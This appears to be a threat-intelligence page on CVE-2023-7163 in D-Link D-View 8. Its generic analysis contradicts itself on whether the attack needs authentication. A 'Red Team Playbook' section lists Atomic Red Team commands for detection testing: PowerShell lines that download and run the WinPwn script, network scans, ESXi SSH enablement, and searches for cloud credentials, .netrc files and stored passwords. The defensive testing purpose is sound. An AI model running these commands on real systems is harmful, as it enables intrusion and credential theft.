CVE-2023-7163
Overview
This vulnerability is a logic flaw in the probe inventory management component of D-Link D-View 8 versions 2.0.2.89 and earlier. It arises due to insufficient validation and access control when handling probe inventory data, allowing unauthorized manipulation of probe records. The affected feature is the D-View service's probe inventory mechanism responsible for tracking and managing connected probes.
Vulnerability Description
A security issue exists in D-Link D-View 8 v2.0.2.89 and prior that could allow an attacker to manipulate the probe inventory of the D-View service. This could result in the disclosure of information from other probes, denial of service conditions due to the probe inventory becoming full, or the execution of tasks on other probes.
Impact
An unauthenticated remote attacker can exploit this vulnerability to disclose information from other probes, cause denial of service by filling the probe inventory, or execute tasks on probes they do not control. The attack requires only network access with no user interaction or privileges (AV:N/AC:L/PR:N/UI:N). This can lead to unauthorized lateral movement within the network, data leakage, and disruption of monitoring services.
Solution
D-Link has addressed this issue in versions later than 2.0.2.89 of D-View 8. Users should upgrade to the latest available version as detailed in the advisory published by Tenable at https://tenable.com/security/research/tra-2023-43. Follow the vendor's instructions for patch application to ensure the probe inventory management component enforces proper access controls and input validation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in D-Link's D-View 8 version 2.0.2.89 and earlier is characterized by an inadequate validation mechanism within its probe inventory management system. This flaw allows an attacker to manipulate the probe inventory, which is crucial for the D-View service's operation. By exploiting this weakness, an unauthorized user could potentially alter the state of the probe inventory, leading to significant security implications. The manipulation could result in the disclosure of sensitive information from other probes, as well as the execution of unauthorized tasks on those probes. Furthermore, the vulnerability can lead to denial of service conditions, where the probe inventory becomes saturated, effectively crippling the monitoring capabilities of the D-View service.
Attack vectors for this vulnerability are diverse, primarily hinging on the ability of an attacker to gain access to the D-View service. This could be achieved through various means, such as exploiting weak authentication mechanisms, leveraging social engineering tactics to obtain credentials, or utilizing network-based attacks to intercept communications. Once access is gained, an attacker could manipulate the probe inventory by sending specially crafted requests to the D-View service. This could allow the attacker to not only view sensitive data from other probes but also execute commands or tasks that could disrupt normal operations. For instance, an attacker could overload the system by filling the probe inventory, causing legitimate monitoring functions to fail, which could be particularly detrimental in environments where real-time data is critical.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on D-Link's D-View service for network management and monitoring. The potential for information disclosure poses a significant business risk, especially for entities handling sensitive data or operating in regulated industries. Unauthorized access to probe data could lead to data breaches, compliance violations, and reputational damage. Additionally, the denial of service conditions resulting from the probe inventory becoming full could lead to operational downtime, impacting productivity and potentially leading to financial losses. The severity of this vulnerability, as indicated by its high CVSS score, underscores the urgent need for organizations to address the associated risks.
To detect and mitigate the risks posed by this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the D-View service to the latest version is paramount, as vendors typically release patches to address known vulnerabilities. Additionally, organizations should enforce stringent access controls, ensuring that only authorized personnel have access to the D-View service. Implementing network segmentation can also help limit the exposure of the D-View service to potential attackers. Monitoring and logging access to the D-View service can aid in the early detection of suspicious activities, allowing for timely incident response. Furthermore, conducting regular security assessments and penetration testing can help identify and remediate vulnerabilities before they can be exploited.
In conclusion, the vulnerability in D-Link's D-View service represents a critical security concern that could lead to severe operational and reputational damage if left unaddressed. Organizations must prioritize the implementation of effective detection and mitigation strategies to safeguard their network management systems. By staying informed about potential threats and adopting a proactive security posture, businesses can better protect themselves against the risks associated with this and similar vulnerabilities.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-7163, with our telemetry indicating the initial emergence of exploitation attempts targeting the D-Link D-View 8 vulnerability. Although no new exploit variants or proof-of-concept code have surfaced, the appearance of detection signals signifies that threat actors are actively probing or attempting to leverage this critical flaw. This development elevates the immediacy of the threat, as it suggests that adversaries have moved beyond reconnaissance to practical engagement with vulnerable systems. While the EPSS score remains stable and relatively low, the qualitative increase in detection activity underscores a growing operational interest that defenders must monitor closely. Consequently, the risk posture associated with CVE-2023-7163 has shifted from theoretical to actively targeted, warranting heightened vigilance in network monitoring and incident response efforts.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | D-View 8 | 2.0.2.89 |
cpe:2.3:a:dlink:d-view_8:2.0.2.89:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-7163 |
| tenable.com |
GitHub CVE
|
https://tenable.com/security/research/tra-2023-43 |